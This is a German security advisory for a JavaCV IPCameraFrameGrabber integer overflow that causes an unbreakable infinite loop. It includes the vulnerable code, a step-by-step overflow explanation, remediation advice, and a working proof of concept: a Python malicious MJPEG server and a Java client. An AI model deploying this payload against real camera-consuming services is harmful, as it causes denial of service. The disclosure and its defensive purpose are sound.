Hoch

JavaCV: Ganzzahlüberlauf in IPCameraFrameGrabber verursacht Denial-of-Service durch Endlosschleife

  • Veröffentlicht: 16.10.2026
  • Aktualisiert: 20.10.2026 08:37

Zusammenfassung

IPCameraFrameGrabber verarbeitet den Wert Content-Length aus dem von der konfigurierten IP-Kamera zurückgegebenen mehrteiligen MJPEG-HTTP-Stream ohne jegliche Grenzprüfungen. Ein bösartiger oder kompromittierter Kamera-Endpunkt – oder ein Angreifer im Netzwerk, der in der Lage ist, Klartext-HTTP-Antworten zu manipulieren (diese Streams werden üblicherweise über http:// übertragen, wie in der Klasse selbst dokumentiert) – kann einen Content-Length-Wert im Bereich 1073741825-2147483647 übermitteln. Dies führt in der internen Puffervergrößerungsroutine ensureBufferCapacity(int) zu einem vorzeichenbehafteten 32-Bit-Ganzzahlüberlauf. Dadurch verwandelt sich die Schleife zur Puffererweiterung in eine echte Endlosschleife: Die Schleifenvariable oszilliert zu 0 und erfüllt niemals wieder die Abbruchbedingung. Der Thread, der grab()/grabBufferedImage() aufgerufen hat, lastet die CPU dauerhaft zu 100% aus und kehrt nie zurück, wodurch der Frame-Grabber-Thread der aufrufenden Anwendung ohne Exception, Timeout oder Unterbrechungsmöglichkeit dauerhaft blockiert wird.

Details

Datei: src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java

java
private byte[] readImage() throws IOException {
    ...
    int c0 = subheader.indexOf("content-length: ");
    final int c1 = subheader.indexOf('\r', c0);
    if (c0 < 0) {
        throw new EOFException("The camera stream ended unexpectedly");
    }
    c0 += 16;
    final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim());   // <-- fully attacker-controlled
    // adaptive size - careful - don't want a 2G jpeg
    ensureBufferCapacity(contentLength);                                              // <-- no upper bound enforced
    input.readFully(pixelBuffer, 0, contentLength);
    ...
}

private void ensureBufferCapacity(int desiredCapacity) {
    int capacity = pixelBuffer.length;          // starts at 1024
    while (capacity < desiredCapacity) {
        capacity *= 2;                          // <-- unchecked int multiplication
    }
    if (capacity > pixelBuffer.length) {
        pixelBuffer = new byte[capacity];
    }
}

contentLength wird unverändert aus den HTTP-Antwort-Headern des Kamerastreams übernommen und direkt an ensureBufferCapacity übergeben, ohne dass eine Prüfung der Obergrenze erfolgt (der Kommentar „adaptive size - careful - don't want a 2G jpeg“ zeigt, dass dem Autor das Risiko bewusst war, aber keine Prüfung implementiert wurde).

ensureBufferCapacity verdoppelt wiederholt capacity (ein 32-Bit-int, beginnend bei pixelBuffer.length == 1024), bis dieser >= desiredCapacity erreicht. Wenn desiredCapacity größer als 2^30 (1073741824) ist, aber <= Integer.MAX_VALUE (2147483647):

  1. capacity erreicht nach 20 Verdopplungen 2^30 (1073741824); die Schleifenbedingung capacity < desiredCapacity ist weiterhin wahr.
  2. capacity *= 2 berechnet 2^31, was einen vorzeichenbehafteten 32-Bit-int überlaufen lässt und zu Integer.MIN_VALUE (-2147483648) umschlägt.
  3. Die Schleifenbedingung capacity < desiredCapacity (eine negative Zahl im Vergleich zu einer großen positiven desiredCapacity) ist weiterhin wahr, sodass die Schleife fortgesetzt wird.
  4. capacity *= 2 berechnet Integer.MIN_VALUE * 2, was in der 32-Bit-Zweierkomplement-Arithmetik zu 0 führt.
  5. Ab diesem Zeitpunkt ist capacity dauerhaft 0 (0 * 2 == 0), und 0 < desiredCapacity bleibt für immer wahr – die while-Schleife endet nie.

Dies ist eine reine CPU-gebundene Schleife ohne I/O, ohne blockierenden Aufruf und ohne InterruptedException-Prüfung, weshalb sie nicht über Thread.interrupt() unterbrochen werden kann und keine am Grabber konfigurierten readTimeout/connectionTimeout beachtet (diese gelten nur für das Lesen aus dem Socket, das vor diesem Codepfad stattfindet). Die einzige Abhilfe besteht darin, die JVM bzw. den Thread von außen zu beenden.

PoC

Ein minimaler bösartiger bzw. kompromittierter MJPEG-Server, der das Hängenbleiben reproduziert:

python
import socket

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 8080))
srv.listen(1)
print("listening on :8080")
conn, _ = srv.accept()
conn.recv(4096)  # swallow the client's request

# Any value in (1073741824, 2147483647] triggers the overflow.
malicious_length = 2000000000
header = (
    "--myboundary\r\n"
    "Content-Type: image/jpeg\r\n"
    "Content-Length: %d\r\n\r\n" % malicious_length
)
conn.sendall(header.encode())
# The client will now spin forever inside ensureBufferCapacity()
# before ever attempting to read the (fake) body.

Java-Client (repräsentativ für jede Anwendung, die javacv einbettet, um eine „IP-Kamera“-URL anzuzeigen):

java
import org.bytedeco.javacv.IPCameraFrameGrabber;
import java.util.concurrent.TimeUnit;

public class Poc {
    public static void main(String[] args) throws Exception {
        IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
            "http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
        grabber.start();
        grabber.grab(); // never returns; thread pegs a CPU core at 100% forever
    }
}

Das Ausführen des Clients gegen den obigen bösartigen Server führt dazu, dass grab() dauerhaft hängen bleibt und einen gesamten CPU-Kern belegt – unabhängig von dem an den Konstruktor übergebenen startTimeout/grabTimeout.

Auswirkungen

Jede Anwendung, die IPCameraFrameGrabber verwendet, um einen Kamera-/MJPEG-Stream aus einer nicht vollständig vertrauenswürdigen Quelle zu beziehen – einschließlich des typischen Falls einfacher http://-Streams (wie in den dokumentierten Beispielen der Klasse gezeigt: http://host/videostream.cgi?...), die durch einen Netzwerkangreifer manipuliert werden können –, kann durch einen einzigen manipulierten Antwort-Header in einen dauerhaften Zustand mit 100 % CPU-Auslastung des Grabber-Threads versetzt werden. Weder Authentifizierung, JPEG-Payload noch eigentliche Datenübertragung sind erforderlich; der bösartige Header reicht vollständig aus. Eine wiederholte Ausnutzung gegen einen Server, der pro Client/Kamera einen Grabber-Thread erzeugt (ein gängiges Muster für Videoüberwachungs- und Monitoring-Backends), kann verfügbare Threads und CPU-Ressourcen erschöpfen und zu einem umfassenderen Denial of Service führen.

Was zu tun ist

Aktualisieren Sie auf Version 1.5.14 oder höher oder wenden Sie den Commit cd1977800b827beadf3c53c4032e57172845e0b4 an.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Java / Kotlin (Maven) org.bytedeco:javacv < 1.5.14 1.5.14

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-190
Plattform
Java / Kotlin (Maven)
Paket
org.bytedeco:javacv
Veröffentlicht
16.10.2026
Aktualisiert
20.10.2026 08:37

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-rxjv-24xq-76wc - CC BY 4.0

Schwachstellenhistorie: org.bytedeco:javacv

Alle veröffentlichten Schwachstellen dieses Pakets (Java / Kotlin (Maven)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Dies ist die einzige bekannte Schwachstelle dieses Pakets.

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.